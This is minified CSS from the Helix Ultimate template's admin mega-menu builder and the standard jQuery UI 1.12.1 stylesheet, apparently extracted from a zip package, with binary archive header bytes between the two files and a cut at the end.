rgba(20,50,80,.1);border-radius:5px;height:30px;width:130px;padding:5px 5px 5px 65px;font-size:12px;font-weight:500}.hu-mega-menu-builder .minicolors-theme-bootstrap .minicolors-swatch{background:url(../../images/mega-menu-color-select.jpg) repeat center/cover;width:53px;height:18px;top:6px;border-radius:3px}.hu-megamenu-add-item-wrapper{position:relative}.hu-megamenu-cell-options{list-style:none;padding:0;margin:0;background:#fff;box-shadow:1px 2px 6px 0 #a1a1a1;margin-top:10px;border-radius:5px;position:absolute;width:100%;top:35px;left:10px}.hu-megamenu-cell-options li{cursor:pointer;transition:all .3s ease}.hu-megamenu-cell-options li>a{color:rgb(var(--dark));text-decoration:none;display:block;padding:5px 10px}.hu-megamenu-cell-options li:hover{background:#dfe8fb}.hu-megamenu-popover{position:absolute;top:0;left:0;width:702px;height:509px;background:#f0f4fa;box-shadow:0 24px 48px rgba(0,0,0,.14),0 9px 66px rgba(0,0,0,.12),0 11px 25px rgba(0,0,0,.2);border-radius:6px;z-index:999;display:none;right:0;margin:auto;bottom:0}.hu-megamenu-popover.show{display:block}.hu-megamenu-popover-body{min-height:200px}.hu-megamenu-popover-footer{position:absolute;bottom:0;left:0;right:0;min-height:50px;display:flex;align-items:center;justify-content:flex-end;padding:0 20px}.hu-megamenu-popover-heading{padding:0 15px;background:#126aef;border-radius:6px 6px 0 0;min-height:36px;display:flex;align-items:center;justify-content:space-between}.hu-megamenu-popover-heading .title{margin:0;font-weight:500;font-size:16px;color:#fff}.hu-megamenu-popover-heading .hu-megamenu-popover-close{outline:0;color:#fff;padding:0}.hu-megamenu-popover-heading .hu-megamenu-popover-close:hover{color:rgba(255,255,255,.8)}.hu-mega-menu-builder .control-group.hu-style-switcher label{font-size:12px;font-weight:500;display:flex;align-items:center;justify-content:space-between}.hu-mega-menu-builder .control-group:not(.control-group-checkbox) .control-label{margin-bottom:0}.hu-mega-menu-builder .control-group.hu-style-switcher>div{width:100%}.hu-mega-menu-builder .minicolors-theme-bootstrap.minicolors-position-bottom .minicolors-panel{left:0!important;top:-175px!important}.hu-mega-menu-builder .hu-megamenu-cell-remove{font-size:12px;padding:0;color:#676d98;outline:0}.hu-mega-menu-builder .chosen-container.chosen-with-drop .chosen-drop,.hu-mega-menu-builder .chzn-container.chzn-with-drop .chzn-drop{left:auto}.hu-mega-menu-builder .chosen-container.chosen-container-single .chosen-drop,.hu-mega-menu-builder .chzn-container.chzn-container-single .chzn-drop{width:190px;right:0;top:40px;border-top:1px solid rgba(0,0,0,.15)}.hu-mega-menu-builder .chosen-container.chosen-container-single .chosen-single,.hu-mega-menu-builder .chzn-container.chzn-container-single .chzn-single{background:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3e%3cpath fill='none' stroke='%23343a40' stroke-linecap='round' stroke-linejoin='round' stroke-width='2' d='M2 5l6 6 6-6'/%3e%3c/svg%3e");background-repeat:no-repeat;background-size:16px 10px;background-position:right 3px center}.hu-mega-menu-builder .chosen-container.chosen-container-single .chosen-single div,.hu-mega-menu-builder .chzn-container.chzn-container-single .chzn-single div{display:none}.hu-mega-menu-builder .chosen-container.chosen-container-single.chosen-container-active.chosen-with-drop .chosen-single,.hu-mega-menu-builder .chzn-container.chzn-container-single.chzn-container-active.chzn-with-drop .chzn-single{border-radius:.25rem}.hu-megamenu-search-wrapper{position:relative;padding:0 15px;margin-top:15px;margin-bottom:15px}.hu-megamenu-search-wrapper span{position:absolute;font-size:12px;color:rgb(var(--primary));top:10px;left:26px}.hu-megamenu-search-wrapper input{padding:6px 12px 6px 30px;border:0;background:#fff;box-shadow:0 1px 1px rgba(20,50,80,.1);border-radius:5px}.hu-megamenu-modules-container{height:380px;overflow-y:auto;padding:0 15px}.hu-megamenu-modules-container .hu-megamenu-column{margin-bottom:20px}.hu-megamenu-module-item{background:#fff;width:100%;height:100%;box-shadow:0 1px 1px rgb(2 11 83 / 30%);margin-bottom:12px;border-radius:5px;padding:10px 15px;border:1px solid #fff;display:flex;flex-direction:column}.hu-megamenu-module-item .hu-megamenu-module-title{font-weight:500;font-size:14px;line-height:18px;color:#021153;margin-bottom:8px;display:block;width:140px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.hu-megamenu-module-item .hu-megamenu-module-desc{font-size:13px;line-height:20px;color:rgba(2,11,83,.7);margin-bottom:0}.hu-megamenu-module-item .hu-btn{border:1px solid rgba(121,127,167,.3);border-radius:4px;padding:2px 0;background:#fff;color:rgba(2,11,83,.7);font-size:12px;line-height:18px;font-weight:400;width:100%;margin-top:auto}.hu-megamenu-module-item .hu-btn:focus,.hu-megamenu-module-item .hu-btn:hover{border-color:rgb(var(--primary));color:rgb(var(--primary))}.hu-megamenu-branch-muted .hu-menu-tree-contents .hu-branch-drag-handler{display:flex;align-items:center;color:#838cae;background:#d9deeb;border-color:#d9deeb}.hu-megamenu-branch-muted .hu-branch-unpublished{margin-left:10px}.hu-megamenu-module-not-found{display:flex;align-items:center;justify-content:center;height:100%}PK!��H�L}L}0helixultimate/assets/css/admin/jquery-ui.min.cssnu&1i�/*! jQuery UI - v1.12.1 - 2016-09-14
* http://jqueryui.com
* Includes: core.css, accordion.css, autocomplete.css, menu.css, button.css, controlgroup.css, checkboxradio.css, datepicker.css, dialog.css, draggable.css, resizable.css, progressbar.css, selectable.css, selectmenu.css, slider.css, sortable.css, spinner.css, tabs.css, tooltip.css, theme.css
* To view and modify this theme, visit http://jqueryui.com/themeroller/?bgShadowXPos=&bgOverlayXPos=&bgErrorXPos=&bgHighlightXPos=&bgContentXPos=&bgHeaderXPos=&bgActiveXPos=&bgHoverXPos=&bgDefaultXPos=&bgShadowYPos=&bgOverlayYPos=&bgErrorYPos=&bgHighlightYPos=&bgContentYPos=&bgHeaderYPos=&bgActiveYPos=&bgHoverYPos=&bgDefaultYPos=&bgShadowRepeat=&bgOverlayRepeat=&bgErrorRepeat=&bgHighlightRepeat=&bgContentRepeat=&bgHeaderRepeat=&bgActiveRepeat=&bgHoverRepeat=&bgDefaultRepeat=&iconsHover=url(%22images%2Fui-icons_555555_256x240.png%22)&iconsHighlight=url(%22images%2Fui-icons_777620_256x240.png%22)&iconsHeader=url(%22images%2Fui-icons_444444_256x240.png%22)&iconsError=url(%22images%2Fui-icons_cc0000_256x240.png%22)&iconsDefault=url(%22images%2Fui-icons_777777_256x240.png%22)&iconsContent=url(%22images%2Fui-icons_444444_256x240.png%22)&iconsActive=url(%22images%2Fui-icons_ffffff_256x240.png%22)&bgImgUrlShadow=&bgImgUrlOverlay=&bgImgUrlHover=&bgImgUrlHighlight=&bgImgUrlHeader=&bgImgUrlError=&bgImgUrlDefault=&bgImgUrlContent=&bgImgUrlActive=&opacityFilterShadow=Alpha(Opacity%3D30)&opacityFilterOverlay=Alpha(Opacity%3D30)&opacityShadowPerc=30&opacityOverlayPerc=30&iconColorHover=%23555555&iconColorHighlight=%23777620&iconColorHeader=%23444444&iconColorError=%23cc0000&iconColorDefault=%23777777&iconColorContent=%23444444&iconColorActive=%23ffffff&bgImgOpacityShadow=0&bgImgOpacityOverlay=0&bgImgOpacityError=95&bgImgOpacityHighlight=55&bgImgOpacityContent=75&bgImgOpacityHeader=75&bgImgOpacityActive=65&bgImgOpacityHover=75&bgImgOpacityDefault=75&bgTextureShadow=flat&bgTextureOverlay=flat&bgTextureError=flat&bgTextureHighlight=flat&bgTextureContent=flat&bgTextureHeader=flat&bgTextureActive=flat&bgTextureHover=flat&bgTextureDefault=flat&cornerRadius=3px&fwDefault=normal&ffDefault=Arial%2CHelvetica%2Csans-serif&fsDefault=1em&cornerRadiusShadow=8px&thicknessShadow=5px&offsetLeftShadow=0px&offsetTopShadow=0px&opacityShadow=.3&bgColorShadow=%23666666&opacityOverlay=.3&bgColorOverlay=%23aaaaaa&fcError=%235f3f3f&borderColorError=%23f1a899&bgColorError=%23fddfdf&fcHighlight=%23777620&borderColorHighlight=%23dad55e&bgColorHighlight=%23fffa90&fcContent=%23333333&borderColorContent=%23dddddd&bgColorContent=%23ffffff&fcHeader=%23333333&borderColorHeader=%23dddddd&bgColorHeader=%23e9e9e9&fcActive=%23ffffff&borderColorActive=%23003eff&bgColorActive=%23007fff&fcHover=%232b2b2b&borderColorHover=%23cccccc&bgColorHover=%23ededed&fcDefault=%23454545&borderColorDefault=%23c5c5c5&bgColorDefault=%23f6f6f6
* Copyright jQuery Foundation and other contributors; Licensed MIT */

.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 2.2em;border-top:0;overflow:auto}.ui-autocomplete{position:absolute;top:0;left:0;cursor:default}.ui-menu{list-style:none;padding:0;margin:0;display:block;outline:0}.ui-menu .ui-menu{position:absolute}.ui-menu .ui-menu-item{margin:0;cursor:pointer;list-style-image:url("data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7")}.ui-menu .ui-menu-item-wrapper{position:relative;padding:3px 1em 3px .4em}.ui-menu .ui-menu-divider{margin:5px 0;height:0;font-size:0;line-height:0;border-width:1px 0 0 0}.ui-menu .ui-state-focus,.ui-menu .ui-state-active{margin:-1px}.ui-menu-icons{position:relative}.ui-menu-icons .ui-menu-item-wrapper{padding-left:2em}.ui-menu .ui-icon{position:absolute;top:0;bottom:0;left:.2em;margin:auto 0}.ui-menu .ui-menu-icon{left:auto;right:0}.ui-button{padding:.4em 1em;display:inline-block;position:relative;line-height:normal;margin-right:.1em;cursor:pointer;vertical-align:middle;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;overflow:visible}.ui-button,.ui-button:link,.ui-button:visited,.ui-button:hover,.ui-button:active{text-decoration:none}.ui-button-icon-only{width:2em;box-sizing:border-box;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-button-icon-only{text-indent:0}.ui-button-icon-only .ui-icon{position:absolute;top:50%;left:50%;margin-top:-8px;margin-left:-8px}.ui-button.ui-icon-notext .ui-icon{padding:0;width:2.1em;height:2.1em;text-indent:-9999px;white-space:nowrap}input.ui-button.ui-icon-notext .ui-icon{width:auto;height:auto;text-indent:0;white-space:normal;padding:.4em 1em}input.ui-button::-moz-focus-inner,button.ui-button::-moz-focus-inner{border:0;padding:0}.ui-controlgroup{vertical-align:middle;display:inline-block}.ui-controlgroup > .ui-controlgroup-item{float:left;margin-left:0;margin-right:0}.ui-controlgroup > .ui-controlgroup-item:focus,.ui-controlgroup > .ui-controlgroup-item.ui-visual-focus{z-index:9999}.ui-controlgroup-vertical > .ui-controlgroup-item{display:block;float:none;width:100%;margin-top:0;margin-bottom:0;text-align:left}.ui-controlgroup-vertical .ui-controlgroup-item{box-sizing:border-box}.ui-controlgroup .ui-controlgroup-label{padding:.4em 1em}.ui-controlgroup .ui-controlgroup-label span{font-size:80%}.ui-controlgroup-horizontal .ui-controlgroup-label + .ui-controlgroup-item{border-left:none}.ui-controlgroup-vertical .ui-controlgroup-label + .ui-controlgroup-item{border-top:none}.ui-controlgroup-horizontal .ui-controlgroup-label.ui-widget-content{border-right:none}.ui-controlgroup-vertical .ui-controlgroup-label.ui-widget-content{border-bottom:none}.ui-controlgroup-vertical .ui-spinner-input{width:75%;width:calc( 100% - 2.4em )}.ui-controlgroup-vertical .ui-spinner .ui-spinner-up{border-top-style:solid}.ui-checkboxradio-label .ui-icon-background{box-shadow:inset 1px 1px 1px #ccc;border-radius:.12em;border:none}.ui-checkboxradio-radio-label .ui-icon-background{width:16px;height:16px;border-radius:1em;overflow:visible;border:none}.ui-checkboxradio-radio-label.ui-checkboxradio-checked .ui-icon,.ui-checkboxradio-radio-label.ui-checkboxradio-checked:hover .ui-icon{background-image:none;width:8px;height:8px;border-width:4px;border-style:solid}.ui-checkboxradio-disabled{pointer-events:none}.ui-datepicker{width:17em;padding:.2em .2em 0;display:none}.ui-datepicker .ui-datepicker-header{position:relative;padding:.2em 0}.ui-datepicker .ui-datepicker-prev,.ui-datepicker .ui-datepicker-next{position:absolute;top:2px;width:1.8em;height:1.8em}.ui-datepicker .ui-datepicker-prev-hover,.ui-datepicker .ui-datepicker-next-hover{top:1px}.ui-datepicker .ui-datepicker-prev{left:2px}.ui-datepicker .ui-datepicker-next{right:2px}.ui-datepicker .ui-datepicker-prev-hover{left:1px}.ui-datepicker .ui-datepicker-next-hover{right:1px}.ui-datepicker .ui-datepicker-prev span,.ui-datepicker .ui-datepicker-next span{display:block;position:absolute;left:50%;margin-left:-8px;top:50%;margin-top:-8px}.ui-datepicker .ui-datepicker-title{margin:0 2.3em;line-height:1.8em;text-align:center}.ui-datepicker .ui-datepicker-title select{font-size:1em;margin:1px 0}.ui-datepicker select.ui-datepicker-month,.ui-datepicker select.ui-datepicker-year{width:45%}.ui-datepicker table{width:100%;font-size:.9em;border-collapse:collapse;margin:0 0 .4em}.ui-datepicker th{padding:.7em .3em;text-align:center;font-weight:bold;border:0}.ui-datepicker td{border:0;padding:1px}.ui-datepicker td span,.ui-datepicker td a{display:block;padding:.2em;text-align:right;text-decoration:none}.ui-datepicker .ui-datepicker-buttonpane{background-image:none;margin:.7em 0 0 0;padding:0 .2em;border-left:0;border-right:0;border-bottom:0}.ui-datepicker .ui-datepicker-buttonpane button{float:right;margin:.5em .2em .4em;cursor:pointer;padding:.2em .6em .3em .6em;width:auto;overflow:visible}.ui-datepicker .ui-datepicker-buttonpane button.ui-datepicker-current{float:left}.ui-datepicker.ui-datepicker-multi{width:auto}.ui-datepicker-multi .ui-datepicker-group{float:left}.ui-datepicker-multi .ui-datepicker-group table{width:95%;margin:0 auto .4em}.ui-datepicker-multi-2 .ui-datepicker-group{width:50%}.ui-datepicker-multi-3 .ui-datepicker-group{width:33.3%}.ui-datepicker-multi-4 .ui-datepicker-group{width:25%}.ui-datepicker-multi .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-multi .ui-datepicker-group-middle .ui-datepicker-header{border-left-width:0}.ui-datepicker-multi .ui-datepicker-buttonpane{clear:left}.ui-datepicker-row-break{clear:both;width:100%;font-size:0}.ui-datepicker-rtl{direction:rtl}.ui-datepicker-rtl .ui-datepicker-prev{right:2px;left:auto}.ui-datepicker-rtl .ui-datepicker-next{left:2px;right:auto}.ui-datepicker-rtl .ui-datepicker-prev:hover{right:1px;left:auto}.ui-datepicker-rtl .ui-datepicker-next:hover{left:1px;right:auto}.ui-datepicker-rtl .ui-datepicker-buttonpane{clear:right}.ui-datepicker-rtl .ui-datepicker-buttonpane button{float:left}.ui-datepicker-rtl .ui-datepicker-buttonpane button.ui-datepicker-current,.ui-datepicker-rtl .ui-datepicker-group{float:right}.ui-datepicker-rtl .ui-datepicker-group-last .ui-datepicker-header,.ui-datepicker-rtl .ui-datepicker-group-middle .ui-datepicker-header{border-right-width:0;border-left-width:1px}.ui-datepicker .ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;left:.5em;top:.3em}.ui-dialog{position:absolute;top:0;left:0;padding:.2em;outline:0}.ui-dialog .ui-dialog-titlebar{padding:.4em 1em;position:relative}.ui-dialog .ui-dialog-title{float:left;margin:.1em 0;white-space:nowrap;width:90%;overflow:hidden;text-overflow:ellipsis}.ui-dialog .ui-dialog-titlebar-close{position:absolute;right:.3em;top:50%;width:20px;margin:-10px 0 0 0;padding:1px;height:20px}.ui-dialog .ui-dialog-content{position:relative;border:0;padding:.5em 1em;background:none;overflow:auto}.ui-dialog .ui-dialog-buttonpane{text-align:left;border-width:1px 0 0 0;background-image:none;margin-top:.5em;padding:.3em 1em .5em .4em}.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{float:right}.ui-dialog .ui-dialog-buttonpane button{margin:.5em .4em .5em 0;cursor:pointer}.ui-dialog .ui-resizable-n{height:2px;top:0}.ui-dialog .ui-resizable-e{width:2px;right:0}.ui-dialog .ui-resizable-s{height:2px;bottom:0}.ui-dialog .ui-resizable-w{width:2px;left:0}.ui-dialog .ui-resizable-se,.ui-dialog .ui-resizable-sw,.ui-dialog .ui-resizable-ne,.ui-dialog .ui-resizable-nw{width:7px;height:7px}.ui-dialog .ui-resizable-se{right:0;bottom:0}.ui-dialog .ui-resizable-sw{left:0;bottom:0}.ui-dialog .ui-resizable-ne{right:0;top:0}.ui-dialog .ui-resizable-nw{left:0;top:0}.ui-draggable .ui-dialog-titlebar{cursor:move}.ui-draggable-handle{-ms-touch-action:none;touch-action:none}.ui-resizable{position:relative}.ui-resizable-handle{position:absolute;font-size:0.1px;display:block;-ms-touch-action:none;touch-action:none}.ui-resizable-disabled .ui-resizable-handle,.ui-resizable-autohide .ui-resizable-handle{display:none}.ui-resizable-n{cursor:n-resize;height:7px;width:100%;top:-5px;left:0}.ui-resizable-s{cursor:s-resize;height:7px;width:100%;bottom:-5px;left:0}.ui-resizable-e{cursor:e-resize;width:7px;right:-5px;top:0;height:100%}.ui-resizable-w{cursor:w-resize;width:7px;left:-5px;top:0;height:100%}.ui-resizable-se{cursor:se-resize;width:12px;height:12px;right:1px;bottom:1px}.ui-resizable-sw{cursor:sw-resize;width:9px;height:9px;left:-5px;bottom:-5px}.ui-resizable-nw{cursor:nw-resize;width:9px;height:9px;left:-5px;top:-5px}.ui-resizable-ne{cursor:ne-resize;width:9px;height:9px;right:-5px;top:-5px}.ui-progressbar{height:2em;text-align:left;overflow:hidden}.ui-progressbar .ui-progressbar-value{margin:-1px;height:100%}.ui-progressbar .ui-progressbar-overlay{background:url("data:image/gif;base64,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");height:100%;filter:alpha(opacity=25);opacity:0.25}.ui-progressbar-indeterminate .ui-progressbar-value{background-image:none}.ui-selectable{-ms-touch-action:none;touch-action:none}.ui-selectable-helper{position:absolute;z-index:100;border:1px dotted black}.ui-selectmenu-menu{padding:0;margin:0;position:absolute;top:0;left:0;display:none}.ui-selectmenu-menu .ui-menu{overflow:auto;overflow-x:hidden;padding-bottom:1px}.ui-selectmenu-menu .ui-menu .ui-selectmenu-optgroup{font-size:1em;font-weight:bold;line-height:1.5;padding:2px 0.4em;margin:0.5em 0 0 0;height:auto;border:0}.ui-selectmenu-open{display:block}.ui-selectmenu-text{display:block;margin-right:20px;overflow:hidden;text-overflow:ellipsis}.ui-selectmenu-button.ui-button{text-align:left;white-space:nowrap;width:14em}.ui-selectmenu-icon.ui-icon{float:right;margin-top:0}.ui-slider{position:relative;text-align:left}.ui-slider .ui-slider-handle{position:absolute;z-index:2;width:1.2em;height:1.2em;cursor:default;-ms-touch-action:none;touch-action:none}.ui-slider .ui-slider-range{position:absolute;z-index:1;font-size:.7em;display:block;border:0;background-position:0 0}.ui-slider.ui-state-disabled .ui-slider-handle,.ui-slider.ui-state-disabled .ui-slider-range{filter:inherit}.ui-slider-horizontal{height:.8em}.ui-slider-horizontal .ui-slider-handle{top:-.3em;margin-left:-.6em}.ui-slider-horizontal .ui-slider-range{top:0;height:100%}.ui-slider-horizontal .ui-slider-range-min{left:0}.ui-slider-horizontal .ui-slider-range-max{right:0}.ui-slider-vertical{width:.8em;height:100px}.ui-slider-vertical .ui-slider-handle{left:-.3em;margin-left:0;margin-bottom:-.6em}.ui-slider-vertical .ui-slider-range{left:0;width:100%}.ui-slider-vertical .ui-slider-range-min{bottom:0}.ui-slider-vertical .ui-slider-range-max{top:0}.ui-sortable-handle{-ms-touch-action:none;touch-action:none}.ui-spinner{position:relative;display:inline-block;overflow:hidden;padding:0;vertical-align:middle}.ui-spinner-input{border:none;background:none;color:inherit;padding:.222em 0;margin:.2em 0;vertical-align:middle;margin-left:.4em;margin-right:2em}.ui-spinner-button{width:1.6em;height:50%;font-size:.5em;padding:0;margin:0;text-align:center;position:absolute;cursor:default;display:block;overflow:hidden;right:0}.ui-spinner a.ui-spinner-button{border-top-style:none;border-bottom-style:none;border-right-style:none}.ui-spinner-up{top:0}.ui-spinner-down{bottom:0}.ui-tabs{position:relative;padding:.2em}.ui-tabs .ui-tabs-nav{margin:0;padding:.2em .2em 0}.ui-tabs .ui-tabs-nav li{list-style:none;float:left;position:relative;top:0;margin:1px .2em 0 0;border-bottom-width:0;padding:0;white-space:nowrap}.ui-tabs .ui-tabs-nav .ui-tabs-anchor{float:left;padding:.5em 1em;text-decoration:none}.ui-tabs .ui-tabs-nav li.ui-tabs-active{margin-bottom:-1px;padding-bottom:1px}.ui-tabs .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-state-disabled .ui-tabs-anchor,.ui-tabs .ui-tabs-nav li.ui-tabs-loading .ui-tabs-anchor{cursor:text}.ui-tabs-collapsible .ui-tabs-nav li.ui-tabs-active .ui-tabs-anchor{cursor:pointer}.ui-tabs .ui-tabs-panel{display:block;border-width:0;padding:1em 1.4em;background:none}.ui-tooltip{padding:8px;position:absolute;z-index:9999;max-width:300px}body .ui-tooltip{border-width:2px}.ui-widget{font-family:Arial,Helvetica,sans-serif;font-size:1em}.ui-widget .ui-widget{font-size:1em}.ui-widget input,.ui-widget select,.ui-widget textarea,.ui-widget button{font-family:Arial,Helvetica,sans-serif;font-size:1em}.ui-widget.ui-widget-content{border:1px solid #c5c5c5}.ui-widget-content{border:1px solid #ddd;background:#fff;color:#333}.ui-widget-content a{color:#333}.ui-widget-header{border:1px solid #ddd;background:#e9e9e9;color:#333;font-weight:bold}.ui-widget-header a{color:#333}.ui-state-default,.ui-widget-content .ui-state-default,.ui-widget-header .ui-state-default,.ui-button,html .ui-button.ui-state-disabled:hover,html .ui-button.ui-state-disabled:active{border:1px solid #c5c5c5;background:#f6f6f6;font-weight:normal;color:#454545}.ui-state-default a,.ui-state-default a:link,.ui-state-default a:visited,a.ui-button,a:link.ui-button,a:visited.ui-button,.ui-button{color:#454545;text-decoration:none}.ui-state-hover,.ui-widget-content .ui-state-hover,.ui-widget-header .ui-state-hover,.ui-state-focus,.ui-widget-content .ui-state-focus,.ui-widget-header .ui-state-focus,.ui-button:hover,.ui-button:focus{border:1px solid #ccc;background:#ededed;font-weight:normal;color:#2b2b2b}.ui-state-hover a,.ui-state-hover a:hover,.ui-state-hover a:link,.ui-state-hover a:visited,.ui-state-focus a,.ui-state-focus a:hover,.ui-state-focus a:link,.ui-state-focus a:visited,a.ui-button:hover,a.ui-button:focus{color:#2b2b2b;text-decoration:none}.ui-visual-focus{box-shadow:0 0 3px 1px rgb(94,158,214)}.ui-state-active,.ui-widget-content .ui-state-active,.ui-widget-header .ui-state-active,a.ui-button:active,.ui-button:active,.ui-button.ui-state-active:hover{border:1px solid #003eff;background:#007fff;font-weight:normal;color:#fff}.ui-icon-background,.ui-state-active .ui-icon-background{border:#003eff;background-color:#fff}.ui-state-active a,.ui-state-active a:link,.ui-state-active a:visited{color:#fff;text-decoration:none}.ui-state-highlight,.ui-widget-content .ui-state-highlight,.ui-widget-header .ui-state-highlight{border:1px solid #dad55e;background:#fffa90;color:#777620}.ui-state-checked{border:1px solid #dad55e;background:#fffa90}.ui-state-highlight a,.ui-widget-content .ui-state-highlight a,.ui-widget-header .ui-state-highlight a{color:#777620}.ui-state-error,.ui-widget-content .ui-state-error,.ui-widget-header .ui-state-error{border:1px solid #f1a899;background:#fddfdf;color:#5f3f3f}.ui-state-error a,.ui-widget-content .ui-state-error a,.ui-widget-header .ui-state-error a{color:#5f3f3f}.ui-state-error-text,.ui-widget-content .ui-state-error-text,.ui-widget-header .ui-state-error-text{color:#5f3f3f}.ui-priority-primary,.ui-widget-content .ui-priority-primary,.ui-widget-header .ui-priority-primary{font-weight:bold}.ui-priority-secondary,.ui-widget-content .ui-priority-secondary,.ui-widget-header .ui-priority-secondary{opacity:.7;filter:Alpha(Opacity=70);font-weight:normal}.ui-state-disabled,.ui-widget-content .ui-state-disabled,.ui-widget-header .ui-state-disabled{opacity:.35;filter:Alpha(Opacity=35);background-image:none}.ui-state-disabled .ui-icon{filter:Alpha(Opacity=35)}.ui-icon{width:16px;height:16px}.ui-icon,.ui-widget-content .ui-icon{background-image:url("images/ui-icons_444444_256x240.png")}.ui-widget-header .ui-icon{background-image:url("images/ui-icons_444444_256x240.png")}.ui-state-hover .ui-icon,.ui-state-focus .ui-icon,.ui-button:hover .ui-icon,.ui-button:focus .ui-icon{background-image:url("images/ui-icons_555555_256x240.png")}.ui-state-active .ui-icon,.ui-button:active .ui-icon{background-image:url("images/ui-icons_ffffff_256x240.png")}.ui-state-highlight .ui-icon,.ui-button .ui-state-highlight.ui-icon{background-image:url("images/ui-icons_777620_256x240.png")}.ui-state-error .ui-icon,.ui-state-error-text 